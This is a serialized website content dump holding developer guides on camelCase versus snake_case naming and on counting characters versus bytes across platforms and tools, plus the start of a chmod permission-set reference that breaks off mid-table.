developers.",[16,23344,23345,23348,23349,9368],{},[47,23346,23347],{},"snake_case"," has older roots in C and the Unix tradition. Underscores were valid identifier characters and visually separated words without changing letter case. Python adopted snake_case wholesale in the 1990s, and Ruby followed. The style aligns naturally with how people write in plain English when spaces are not available (e.g., ",[143,23350,23327],{},[11,23352,23354],{"id":23353},"what-research-says-about-readability","What Research Says About Readability",[16,23356,23357,23358,23361],{},"In 2010, a controlled eye-tracking study by Binkley et al. found that ",[47,23359,23360],{},"snake_case identifiers were read 20% faster"," than camelCase identifiers on average. The underscores act as visual word boundaries, making it easier for the brain to split the identifier into its component words.",[16,23363,23364,23365,23368],{},"However, the study also found that ",[47,23366,23367],{},"familiarity reduces the gap",". Developers who work primarily in camelCase languages perform almost as well with camelCase as with snake_case. The readability advantage shrinks with daily exposure.",[16,23370,23371],{},"A later replication by Schankin et al. (2017) confirmed the direction but found a smaller effect size (around 10%). The consensus: snake_case has a measurable edge for new readers, but the difference is small for experienced practitioners in either style.",[11,23373,23375],{"id":23374},"language-ecosystem-choices","Language Ecosystem Choices",[16,23377,23378],{},"The programming languages you use heavily influence which style feels natural. Here is how the major ecosystems line up.",[193,23380,23381,23394],{},[196,23382,23383],{},[199,23384,23385,23388,23391],{},[202,23386,23387],{},"Ecosystem",[202,23389,23390],{},"Primary Style",[202,23392,23393],{},"Reason",[211,23395,23396,23406,23416,23427,23436,23446,23455,23464],{},[199,23397,23398,23401,23403],{},[216,23399,23400],{},"JavaScript \u002F TypeScript",[216,23402,23337],{},[216,23404,23405],{},"Language spec, DOM APIs, JSON",[199,23407,23408,23411,23413],{},[216,23409,23410],{},"Java \u002F Kotlin",[216,23412,23337],{},[216,23414,23415],{},"Official style guides",[199,23417,23418,23421,23424],{},[216,23419,23420],{},"C#",[216,23422,23423],{},"camelCase \u002F PascalCase",[216,23425,23426],{},"Microsoft conventions",[199,23428,23429,23431,23433],{},[216,23430,9840],{},[216,23432,23347],{},[216,23434,23435],{},"PEP 8 style guide",[199,23437,23438,23441,23443],{},[216,23439,23440],{},"Ruby",[216,23442,23347],{},[216,23444,23445],{},"Community convention",[199,23447,23448,23450,23452],{},[216,23449,9920],{},[216,23451,23347],{},[216,23453,23454],{},"Compiler-enforced for functions",[199,23456,23457,23459,23461],{},[216,23458,9900],{},[216,23460,23337],{},[216,23462,23463],{},"Export visibility tied to case",[199,23465,23466,23469,23472],{},[216,23467,23468],{},"C \u002F C++",[216,23470,23471],{},"Mixed",[216,23473,23474],{},"No single convention dominates",[11,23476,23478],{"id":23477},"the-json-to-python-problem","The JSON-to-Python Problem",[16,23480,23481],{},"One of the most practical pain points is the mismatch between JSON APIs (camelCase) and Python backends (snake_case). Every Python developer who consumes a JSON API has faced this:",[135,23483,23487],{"className":23484,"code":23485,"language":23486,"meta":141,"style":141},"language-json shiki shiki-themes github-light github-dark","{\n  \"firstName\": \"Alice\",\n  \"lastName\": \"Smith\",\n  \"isActive\": true\n}\n","json",[143,23488,23489,23494,23506,23518,23528],{"__ignoreMap":141},[1560,23490,23491],{"class":1562,"line":1563},[1560,23492,23493],{"class":1570},"{\n",[1560,23495,23496,23499,23501,23504],{"class":1562,"line":337},[1560,23497,23498],{"class":1576},"  \"firstName\"",[1560,23500,1663],{"class":1570},[1560,23502,23503],{"class":5634},"\"Alice\"",[1560,23505,11943],{"class":1570},[1560,23507,23508,23511,23513,23516],{"class":1562,"line":343},[1560,23509,23510],{"class":1576},"  \"lastName\"",[1560,23512,1663],{"class":1570},[1560,23514,23515],{"class":5634},"\"Smith\"",[1560,23517,11943],{"class":1570},[1560,23519,23520,23523,23525],{"class":1562,"line":365},[1560,23521,23522],{"class":1576},"  \"isActive\"",[1560,23524,1663],{"class":1570},[1560,23526,23527],{"class":1576},"true\n",[1560,23529,23530],{"class":1562,"line":889},[1560,23531,1585],{"class":1570},[135,23533,23535],{"className":8259,"code":23534,"language":8261,"meta":141,"style":141},"# Manual conversion — tedious and error-prone\nfirst_name = data[\"firstName\"]\nlast_name = data[\"lastName\"]\nis_active = data[\"isActive\"]\n",[143,23536,23537,23542,23547,23552],{"__ignoreMap":141},[1560,23538,23539],{"class":1562,"line":1563},[1560,23540,23541],{},"# Manual conversion — tedious and error-prone\n",[1560,23543,23544],{"class":1562,"line":337},[1560,23545,23546],{},"first_name = data[\"firstName\"]\n",[1560,23548,23549],{"class":1562,"line":343},[1560,23550,23551],{},"last_name = data[\"lastName\"]\n",[1560,23553,23554],{"class":1562,"line":365},[1560,23555,23556],{},"is_active = data[\"isActive\"]\n",[16,23558,23559],{},"Popular solutions include:",[41,23561,23562,23572,23581],{},[44,23563,23564,23567,23568,23571],{},[47,23565,23566],{},"pydantic"," — ",[143,23569,23570],{},"alias_generator"," config option that maps camelCase to snake_case automatically",[44,23573,23574,23567,23577,23580],{},[47,23575,23576],{},"marshmallow",[143,23578,23579],{},"data_key"," parameter for field-level mapping",[44,23582,23583,23586],{},[47,23584,23585],{},"Custom deserialization functions"," — Convert keys at the API boundary",[16,23588,23589],{},"The key principle: convert at the boundary, use native conventions inside. Never let camelCase variables leak deep into a snake_case codebase.",[11,23591,23593],{"id":23592},"database-column-naming","Database Column Naming",[16,23595,23596],{},"Most SQL databases default to lowercase identifiers, and underscores handle word separation naturally. This makes snake_case the overwhelming convention for database schemas:",[135,23598,23602],{"className":23599,"code":23600,"language":23601,"meta":141,"style":141},"language-sql shiki shiki-themes github-light github-dark","CREATE TABLE users (\n    first_name VARCHAR(100),\n    last_name VARCHAR(100),\n    created_at TIMESTAMP\n);\n","sql",[143,23603,23604,23609,23614,23619,23624],{"__ignoreMap":141},[1560,23605,23606],{"class":1562,"line":1563},[1560,23607,23608],{},"CREATE TABLE users (\n",[1560,23610,23611],{"class":1562,"line":337},[1560,23612,23613],{},"    first_name VARCHAR(100),\n",[1560,23615,23616],{"class":1562,"line":343},[1560,23617,23618],{},"    last_name VARCHAR(100),\n",[1560,23620,23621],{"class":1562,"line":365},[1560,23622,23623],{},"    created_at TIMESTAMP\n",[1560,23625,23626],{"class":1562,"line":889},[1560,23627,1744],{},[16,23629,23630],{},"Object-relational mappers (ORMs) like SQLAlchemy, Django ORM, and ActiveRecord all default to snake_case column names. If your application uses camelCase internally, the ORM typically handles translation at the data layer boundary.",[11,23632,23634],{"id":23633},"handling-mixed-codebases","Handling Mixed Codebases",[16,23636,23637],{},"Large systems often combine languages. A typical web stack might involve JavaScript (camelCase) on the frontend, Python (snake_case) on the backend, and SQL (snake_case) in the database. Here is how to keep things manageable:",[77,23639,23640,23646,23652,23658],{},[44,23641,23642,23645],{},[47,23643,23644],{},"Follow each language's convention inside its own layer."," Do not write Python in camelCase to match the frontend.",[44,23647,23648,23651],{},[47,23649,23650],{},"Convert at the boundaries."," API serializers and ORM mappings handle the translation.",[44,23653,23654,23657],{},[47,23655,23656],{},"Document the mapping convention."," Make it clear where conversion happens so new developers do not duplicate or skip it.",[44,23659,23660,23663,23664,23667,23668,23671],{},[47,23661,23662],{},"Use automated conversion tools."," Libraries like ",[143,23665,23666],{},"humps"," (Python) or ",[143,23669,23670],{},"lodash.camelCase"," (JS) handle bulk conversions reliably.",[11,23673,23675],{"id":23674},"practical-comparison","Practical Comparison",[193,23677,23678,23688],{},[196,23679,23680],{},[199,23681,23682,23684,23686],{},[202,23683,13104],{},[202,23685,23337],{},[202,23687,23347],{},[211,23689,23690,23701,23712,23723,23733,23744],{},[199,23691,23692,23695,23698],{},[216,23693,23694],{},"Visual density",[216,23696,23697],{},"Higher (no separator characters)",[216,23699,23700],{},"Lower (underscores add spacing)",[199,23702,23703,23706,23709],{},[216,23704,23705],{},"Typing speed",[216,23707,23708],{},"Faster (no underscore key)",[216,23710,23711],{},"Slightly slower",[199,23713,23714,23717,23720],{},[216,23715,23716],{},"Readability for new readers",[216,23718,23719],{},"Lower",[216,23721,23722],{},"Higher (research-backed)",[199,23724,23725,23728,23731],{},[216,23726,23727],{},"Readability for experienced users",[216,23729,23730],{},"Comparable",[216,23732,23730],{},[199,23734,23735,23738,23741],{},[216,23736,23737],{},"Language support",[216,23739,23740],{},"JS, Java, C#, Go",[216,23742,23743],{},"Python, Ruby, Rust, SQL",[199,23745,23746,23749,23759],{},[216,23747,23748],{},"All-caps handling",[216,23750,23751,23752,23755,23756,1525],{},"Ambiguous (",[143,23753,23754],{},"parseXML"," vs ",[143,23757,23758],{},"parseXml",[216,23760,23761,23762,1525],{},"Clear (",[143,23763,23764],{},"parse_xml",[16,23766,421,23767,23770,23771,23773,23774,23773,23776,23779,23780,468],{},[47,23768,23769],{},"all-caps ambiguity"," in camelCase is worth noting. How do you capitalized an acronym? ",[143,23772,23754],{},"? ",[143,23775,23758],{},[143,23777,23778],{},"parseXmL","? Different teams answer differently. snake_case avoids the question entirely: ",[143,23781,23764],{},[11,23783,1355],{"id":1354},[41,23785,23786,23789,23792,23795,23798,23801],{},[44,23787,23788],{},"snake_case has a measurable readability edge for unfamiliar code, but familiarity closes the gap.",[44,23790,23791],{},"Your language ecosystem determines the \"right\" answer more than personal preference.",[44,23793,23794],{},"The JSON-to-Python mismatch is real — automate conversion at the API boundary.",[44,23796,23797],{},"Database schemas overwhelmingly use snake_case, regardless of application language.",[44,23799,23800],{},"In mixed-language stacks, follow each language's convention and convert at boundaries.",[44,23802,23803],{},"All-caps abbreviations are ambiguous in camelCase; snake_case sidesteps the issue entirely.",[11,23805,286],{"id":285},[16,23807,23808],{},"Need to switch between naming styles? Try this tool:",[41,23810,23811],{},[44,23812,23813,23817],{},[98,23814,23816],{"href":23815},"\u002Ftools\u002Fcase-converter","Case Converter"," — Instantly convert between camelCase, snake_case, PascalCase, and kebab-case",[11,23819,321],{"id":320},[41,23821,23822,23829],{},[44,23823,23824,23828],{},[98,23825,23827],{"href":23826},"\u002Fguides\u002Fnaming-conventions-guide","Naming Conventions Guide"," — Full overview of camelCase, PascalCase, snake_case, and kebab-case across languages",[44,23830,23831,23835],{},[98,23832,23834],{"href":23833},"\u002Fguides\u002Fcode-readability-tips","Code Readability Tips"," — Practical techniques for writing code others can understand",[2043,23837,23838],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":23840},[23841,23842,23843,23844,23845,23846,23847,23848,23849,23850,23851],{"id":23317,"depth":337,"text":23318},{"id":23331,"depth":337,"text":23332},{"id":23353,"depth":337,"text":23354},{"id":23374,"depth":337,"text":23375},{"id":23477,"depth":337,"text":23478},{"id":23592,"depth":337,"text":23593},{"id":23633,"depth":337,"text":23634},{"id":23674,"depth":337,"text":23675},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare camelCase and snake_case — their origins, readability research, language adoption, and when to use each style.",{"immutable":363},"\u002Fguides\u002Fcamelcase-vs-snake-case",{"title":23312,"description":23852},"guides\u002Fcamelcase-vs-snake-case","oV34YUUufLY_QzMbMEXI-d0YbHi6-2MJYOyJBAYkXJs",{"id":23859,"title":23860,"body":23861,"date":2070,"description":24510,"extension":361,"meta":24511,"navigation":363,"path":24515,"readingTime":7146,"seo":24516,"stem":24517,"__hash__":24518},"guides\u002Fguides\u002Fcharacter-counting-guide.md","The Complete Guide to Character Counting for Writers and Developers",{"type":8,"value":23862,"toc":24492},[23863,23867,23870,23873,23877,23880,24044,24047,24051,24054,24058,24061,24065,24068,24130,24133,24137,24163,24166,24170,24173,24177,24180,24183,24194,24197,24206,24210,24216,24231,24241,24244,24248,24254,24266,24269,24293,24302,24306,24309,24343,24350,24418,24420,24450,24452,24478,24480,24483,24489],[11,23864,23866],{"id":23865},"why-character-counting-matters","Why Character Counting Matters",[16,23868,23869],{},"Character limits are everywhere. Social media platforms cap your posts. Search engines truncate your titles and descriptions. Databases enforce field lengths. If you write or code for the web, knowing your character count is not optional — it determines whether your message gets seen or cut off.",[16,23871,23872],{},"Writers lose engagement when tweets exceed 280 characters. Developers crash forms when input validation ignores length. SEO professionals waste effort when meta descriptions get clipped at 155 characters. Accurate character counting prevents all of these problems.",[11,23874,23876],{"id":23875},"character-limits-across-platforms","Character Limits Across Platforms",[16,23878,23879],{},"Every platform enforces its own restrictions. Here are the most common ones you will encounter:",[193,23881,23882,23894],{},[196,23883,23884],{},[199,23885,23886,23889,23891],{},[202,23887,23888],{},"Platform",[202,23890,14305],{},[202,23892,23893],{},"Character Limit",[211,23895,23896,23907,23916,23927,23937,23948,23958,23968,23978,23987,23996,24005,24015,24025,24034],{},[199,23897,23898,23901,23904],{},[216,23899,23900],{},"X (Twitter)",[216,23902,23903],{},"Tweet",[216,23905,23906],{},"280",[199,23908,23909,23911,23914],{},[216,23910,23900],{},[216,23912,23913],{},"Display name",[216,23915,18059],{},[199,23917,23918,23921,23924],{},[216,23919,23920],{},"Instagram",[216,23922,23923],{},"Caption",[216,23925,23926],{},"2,200",[199,23928,23929,23931,23934],{},[216,23930,23920],{},[216,23932,23933],{},"Bio",[216,23935,23936],{},"150",[199,23938,23939,23942,23945],{},[216,23940,23941],{},"LinkedIn",[216,23943,23944],{},"Post",[216,23946,23947],{},"3,000",[199,23949,23950,23952,23955],{},[216,23951,23941],{},[216,23953,23954],{},"Headline",[216,23956,23957],{},"220",[199,23959,23960,23963,23965],{},[216,23961,23962],{},"Facebook",[216,23964,23944],{},[216,23966,23967],{},"63,206",[199,23969,23970,23973,23976],{},[216,23971,23972],{},"YouTube",[216,23974,23975],{},"Title",[216,23977,18114],{},[199,23979,23980,23982,23984],{},[216,23981,23972],{},[216,23983,207],{},[216,23985,23986],{},"5,000",[199,23988,23989,23991,23993],{},[216,23990,21558],{},[216,23992,23954],{},[216,23994,23995],{},"30",[199,23997,23998,24000,24002],{},[216,23999,21558],{},[216,24001,207],{},[216,24003,24004],{},"90",[199,24006,24007,24010,24013],{},[216,24008,24009],{},"SMS",[216,24011,24012],{},"Single segment",[216,24014,18301],{},[199,24016,24017,24020,24023],{},[216,24018,24019],{},"App Store",[216,24021,24022],{},"App name",[216,24024,23995],{},[199,24026,24027,24029,24032],{},[216,24028,24019],{},[216,24030,24031],{},"Subtitle",[216,24033,23995],{},[199,24035,24036,24039,24042],{},[216,24037,24038],{},"Google Play",[216,24040,24041],{},"App title",[216,24043,23995],{},[16,24045,24046],{},"These limits change over time. Always verify current limits directly from the platform's documentation before finalizing your content.",[11,24048,24050],{"id":24049},"character-count-vs-byte-count","Character Count vs. Byte Count",[16,24052,24053],{},"These two measurements seem identical — until you work with non-ASCII text. Understanding the difference prevents subtle bugs and silent truncation.",[33,24055,24057],{"id":24056},"what-character-count-measures","What Character Count Measures",[16,24059,24060],{},"Character count counts each visible unit of text. The letter \"A\" is one character. The emoji \"😀\" is one character. The Chinese character \"字\" is one character. Most writing tools and social platforms use character count as their display metric.",[33,24062,24064],{"id":24063},"what-byte-count-measures","What Byte Count Measures",[16,24066,24067],{},"Byte count measures how much storage the text occupies. The encoding determines the relationship:",[193,24069,24070,24085],{},[196,24071,24072],{},[199,24073,24074,24076,24079,24082],{},[202,24075,7809],{},[202,24077,24078],{},"UTF-8 Bytes",[202,24080,24081],{},"UTF-16 Bytes",[202,24083,24084],{},"Character Count",[211,24086,24087,24097,24108,24119],{},[199,24088,24089,24091,24093,24095],{},[216,24090,21981],{},[216,24092,3585],{},[216,24094,10099],{},[216,24096,3585],{},[199,24098,24099,24102,24104,24106],{},[216,24100,24101],{},"é",[216,24103,10099],{},[216,24105,10099],{},[216,24107,3585],{},[199,24109,24110,24113,24115,24117],{},[216,24111,24112],{},"字",[216,24114,17821],{},[216,24116,10099],{},[216,24118,3585],{},[199,24120,24121,24124,24126,24128],{},[216,24122,24123],{},"😀",[216,24125,12546],{},[216,24127,12546],{},[216,24129,3585],{},[16,24131,24132],{},"A tweet with 140 emojis uses 280 characters — but 560 bytes in UTF-8. A database VARCHAR(255) limit of 255 bytes can store 255 ASCII characters, but only 85 Chinese characters. This mismatch causes real failures.",[33,24134,24136],{"id":24135},"when-byte-count-matters","When Byte Count Matters",[41,24138,24139,24145,24151,24157],{},[44,24140,24141,24144],{},[47,24142,24143],{},"Database columns",": VARCHAR(n) limits refer to characters in MySQL when using utf8mb4, but some databases and ORMs apply byte limits.",[44,24146,24147,24150],{},[47,24148,24149],{},"API payloads",": REST APIs may enforce byte limits on request bodies.",[44,24152,24153,24156],{},[47,24154,24155],{},"SMS segments",": Messages exceeding 160 characters (or 70 characters with Unicode) split into segments, increasing costs.",[44,24158,24159,24162],{},[47,24160,24161],{},"File formats",": Some binary formats reserve fixed byte widths for strings.",[16,24164,24165],{},"Always clarify whether a limit refers to characters or bytes before you build validation logic.",[11,24167,24169],{"id":24168},"how-to-count-characters-on-different-systems","How to Count Characters on Different Systems",[16,24171,24172],{},"Your operating system gives you built-in tools for counting characters. No need to install anything for basic counting.",[33,24174,24176],{"id":24175},"windows","Windows",[16,24178,24179],{},"Word counts characters in its \"Word Count\" dialog (Ctrl+Shift+G). For plain text, open the file in Notepad, select all text (Ctrl+A), and check the status bar — it shows the character position of your cursor, which equals the character count when the cursor is at the end.",[16,24181,24182],{},"PowerShell offers a quick command:",[135,24184,24188],{"className":24185,"code":24186,"language":24187,"meta":141,"style":141},"language-powershell shiki shiki-themes github-light github-dark","(\"Your text here\").Length\n","powershell",[143,24189,24190],{"__ignoreMap":141},[1560,24191,24192],{"class":1562,"line":1563},[1560,24193,24186],{},[16,24195,24196],{},"For files:",[135,24198,24200],{"className":24185,"code":24199,"language":24187,"meta":141,"style":141},"(Get-Content file.txt -Raw).Length\n",[143,24201,24202],{"__ignoreMap":141},[1560,24203,24204],{"class":1562,"line":1563},[1560,24205,24199],{},[33,24207,24209],{"id":24208},"macos","macOS",[16,24211,24212,24213,8037],{},"The simplest method is the built-in terminal command ",[143,24214,24215],{},"wc",[135,24217,24219],{"className":6951,"code":24218,"language":6953,"meta":141,"style":141},"wc -m file.txt\n",[143,24220,24221],{"__ignoreMap":141},[1560,24222,24223,24225,24228],{"class":1562,"line":1563},[1560,24224,24215],{"class":1566},[1560,24226,24227],{"class":1576}," -m",[1560,24229,24230],{"class":5634}," file.txt\n",[16,24232,421,24233,24236,24237,24240],{},[143,24234,24235],{},"-m"," flag counts characters (not bytes). Without it, ",[143,24238,24239],{},"wc -c"," counts bytes — which gives different results for non-ASCII text.",[16,24242,24243],{},"Preview can also show character count. Open your document, then choose View > Show Word Count, and click the arrow on the counter to switch to character count.",[33,24245,24247],{"id":24246},"linux","Linux",[16,24249,24250,24251,24253],{},"Same ",[143,24252,24215],{}," command works on Linux:",[135,24255,24256],{"className":6951,"code":24218,"language":6953,"meta":141,"style":141},[143,24257,24258],{"__ignoreMap":141},[1560,24259,24260,24262,24264],{"class":1562,"line":1563},[1560,24261,24215],{"class":1566},[1560,24263,24227],{"class":1576},[1560,24265,24230],{"class":5634},[16,24267,24268],{},"For inline text in scripts:",[135,24270,24272],{"className":6951,"code":24271,"language":6953,"meta":141,"style":141},"echo -n \"Your text here\" | wc -m\n",[143,24273,24274],{"__ignoreMap":141},[1560,24275,24276,24279,24282,24285,24287,24290],{"class":1562,"line":1563},[1560,24277,24278],{"class":1576},"echo",[1560,24280,24281],{"class":1576}," -n",[1560,24283,24284],{"class":5634}," \"Your text here\"",[1560,24286,17408],{"class":1669},[1560,24288,24289],{"class":1566}," wc",[1560,24291,24292],{"class":1576}," -m\n",[16,24294,421,24295,24298,24299,24301],{},[143,24296,24297],{},"-n"," flag prevents ",[143,24300,24278],{}," from adding a newline, which would inflate the count by one.",[11,24303,24305],{"id":24304},"common-pitfalls-in-character-counting","Common Pitfalls in Character Counting",[16,24307,24308],{},"Even experienced developers and writers make these mistakes:",[41,24310,24311,24325,24331,24337],{},[44,24312,24313,24316,24317,24320,24321,24324],{},[47,24314,24315],{},"Counting bytes instead of characters",": Using ",[143,24318,24319],{},".length"," on a byte array instead of a decoded string. In JavaScript, ",[143,24322,24323],{},"\"😀\".length"," returns 2 because JavaScript counts UTF-16 code units, not Unicode characters.",[44,24326,24327,24330],{},[47,24328,24329],{},"Ignoring invisible characters",": Line breaks, tabs, and zero-width spaces all count. A 280-character tweet with 10 line breaks has room for 270 visible characters plus formatting.",[44,24332,24333,24336],{},[47,24334,24335],{},"Forgetting BOM",": UTF-8 files with a Byte Order Mark add 3 bytes to the file size. This matters when enforcing strict byte limits.",[44,24338,24339,24342],{},[47,24340,24341],{},"Emoji variation",": Some emojis render as a single glyph but consist of multiple code points. Skin-tone modifiers and ZWJ sequences (like family emojis) can span 6 or more UTF-16 code units.",[16,24344,24345,24346,24349],{},"For JavaScript specifically, use the spread operator or ",[143,24347,24348],{},"Array.from()"," to count actual Unicode characters:",[135,24351,24353],{"className":1607,"code":24352,"language":1609,"meta":141,"style":141},"\u002F\u002F Wrong for emojis and surrogates\n\"😀\".length \u002F\u002F 2\n\n\u002F\u002F Correct\n[...\"😀\"].length \u002F\u002F 1\nArray.from(\"👨‍👩‍👧‍👦\").length \u002F\u002F correct family emoji count\n",[143,24354,24355,24360,24372,24376,24381,24399],{"__ignoreMap":141},[1560,24356,24357],{"class":1562,"line":1563},[1560,24358,24359],{"class":1649},"\u002F\u002F Wrong for emojis and surrogates\n",[1560,24361,24362,24365,24367,24369],{"class":1562,"line":337},[1560,24363,24364],{"class":5634},"\"😀\"",[1560,24366,468],{"class":1570},[1560,24368,9418],{"class":1576},[1560,24370,24371],{"class":1649}," \u002F\u002F 2\n",[1560,24373,24374],{"class":1562,"line":343},[1560,24375,1702],{"emptyLinePlaceholder":363},[1560,24377,24378],{"class":1562,"line":365},[1560,24379,24380],{"class":1649},"\u002F\u002F Correct\n",[1560,24382,24383,24386,24389,24391,24394,24396],{"class":1562,"line":889},[1560,24384,24385],{"class":1570},"[",[1560,24387,24388],{"class":1669},"...",[1560,24390,24364],{"class":5634},[1560,24392,24393],{"class":1570},"].",[1560,24395,9418],{"class":1576},[1560,24397,24398],{"class":1649}," \u002F\u002F 1\n",[1560,24400,24401,24404,24406,24408,24411,24413,24415],{"class":1562,"line":1710},[1560,24402,24403],{"class":1570},"Array.",[1560,24405,8168],{"class":1566},[1560,24407,1688],{"class":1570},[1560,24409,24410],{"class":5634},"\"👨‍👩‍👧‍👦\"",[1560,24412,9368],{"class":1570},[1560,24414,9418],{"class":1576},[1560,24416,24417],{"class":1649}," \u002F\u002F correct family emoji count\n",[11,24419,1355],{"id":1354},[41,24421,24422,24425,24428,24439,24447],{},[44,24423,24424],{},"Character limits exist on every major platform — knowing them prevents your content from being silently trimmed.",[44,24426,24427],{},"Character count and byte count diverge for any text beyond basic ASCII. Always check which metric a platform or system uses.",[44,24429,24430,24431,24434,24435,24438],{},"Built-in OS tools (",[143,24432,24433],{},"wc -m",", PowerShell ",[143,24436,24437],{},".Length",") handle character counting without extra software.",[44,24440,13680,24441,24443,24444,24446],{},[143,24442,24319],{}," property counts UTF-16 code units, not Unicode characters — use ",[143,24445,24348],{}," or the spread operator for accurate results.",[44,24448,24449],{},"Invisible characters (line breaks, tabs, zero-width spaces) count toward limits even though readers cannot see them.",[11,24451,321],{"id":320},[41,24453,24454,24460,24466,24472],{},[44,24455,24456],{},[98,24457,24459],{"href":24458},"\u002Fguides\u002Fword-count-best-practices","Word Count Best Practices",[44,24461,24462],{},[98,24463,24465],{"href":24464},"\u002Fguides\u002Ftext-length-limits","Text Length Limits",[44,24467,24468],{},[98,24469,24471],{"href":24470},"\u002Fguides\u002Ftext-analysis-guide","Text Analysis Guide",[44,24473,24474],{},[98,24475,24477],{"href":24476},"\u002Fguides\u002Fword-count-writing-tips","Word Count Tips for Writing",[11,24479,286],{"id":285},[16,24481,24482],{},"Need to verify your character count before posting or committing? Paste your text into our free character counter and get an instant breakdown — characters with and without spaces, byte size, word count, and line count.",[16,24484,24485],{},[98,24486,24488],{"href":24487},"\u002Ftools\u002Fcharacter-counter","Free Character Counter Tool",[2043,24490,24491],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":141,"searchDepth":337,"depth":337,"links":24493},[24494,24495,24496,24501,24506,24507,24508,24509],{"id":23865,"depth":337,"text":23866},{"id":23875,"depth":337,"text":23876},{"id":24049,"depth":337,"text":24050,"children":24497},[24498,24499,24500],{"id":24056,"depth":343,"text":24057},{"id":24063,"depth":343,"text":24064},{"id":24135,"depth":343,"text":24136},{"id":24168,"depth":337,"text":24169,"children":24502},[24503,24504,24505],{"id":24175,"depth":343,"text":24176},{"id":24208,"depth":343,"text":24209},{"id":24246,"depth":343,"text":24247},{"id":24304,"depth":337,"text":24305},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Why character limits matter and how to count characters accurately across platforms, tools, and programming languages.",{"keywords":24512},[24513,24514],"character-counter","character-counting-guide","\u002Fguides\u002Fcharacter-counting-guide",{"title":23860,"description":24510},"guides\u002Fcharacter-counting-guide","rylDgQa8vsrPGxyLWcwdNfCw8ucjWW1WfR5BcaIvJkI",{"id":24520,"title":24521,"body":24522,"date":2070,"description":25217,"extension":361,"meta":25218,"navigation":363,"path":25219,"readingTime":1710,"seo":25220,"stem":25221,"__hash__":25222},"guides\u002Fguides\u002Fchmod-common-permission-sets.md","10 Essential Chmod Permission Sets",{"type":8,"value":24523,"toc":25199},[24524,24528,24531,24533,24733,24737,24741,24747,24750,24772,24776,24782,24793,24820,24824,24830,24833,24866,24870,24876,24879,24903,24907,24913,24920,24944,24948,24954,24957,24961,24967,24970,25014,25018,25024,25027,25051,25055,25061,25068,25072,25161,25163,25183,25185,25188,25196],[11,24525,24527],{"id":24526},"the-permission-sets-youll-actually-use","The Permission Sets You'll Actually Use",[16,24529,24530],{},"You could memorize every chmod value from 000 to 777, but in practice, about ten permission sets cover nearly every real-world scenario. Understanding why each exists — not just what it does — helps you choose correctly instead of guessing.",[11,24532,1124],{"id":1123},[193,24534,24535,24557],{},[196,24536,24537],{},[199,24538,24539,24542,24545,24548,24551,24554],{},[202,24540,24541],{},"Octal",[202,24543,24544],{},"Symbolic",[202,24546,24547],{},"Owner",[202,24549,24550],{},"Group",[202,24552,24553],{},"Other",[202,24555,24556],{},"Typical Use",[211,24558,24559,24578,24597,24615,24632,24648,24665,24682,24699,24716],{},[199,24560,24561,24564,24567,24570,24573,24575],{},[216,24562,24563],{},"644",[216,24565,24566],{},"rw-r--r--",[216,24568,24569],{},"read\u002Fwrite",[216,24571,24572],{},"read",[216,24574,24572],{},[216,24576,24577],{},"Default file permissions",[199,24579,24580,24583,24586,24589,24592,24594],{},[216,24581,24582],{},"755",[216,24584,24585],{},"rwxr-xr-x",[216,24587,24588],{},"full",[216,24590,24591],{},"read\u002Fexecute",[216,24593,24591],{},[216,24595,24596],{},"Directories, executable scripts",[199,24598,24599,24602,24605,24607,24610,24612],{},[216,24600,24601],{},"600",[216,24603,24604],{},"rw-------",[216,24606,24569],{},[216,24608,24609],{},"none",[216,24611,24609],{},[216,24613,24614],{},"Private files, SSH keys",[199,24616,24617,24620,24623,24625,24627,24629],{},[216,24618,24619],{},"700",[216,24621,24622],{},"rwx------",[216,24624,24588],{},[216,24626,24609],{},[216,24628,24609],{},[216,24630,24631],{},"Private 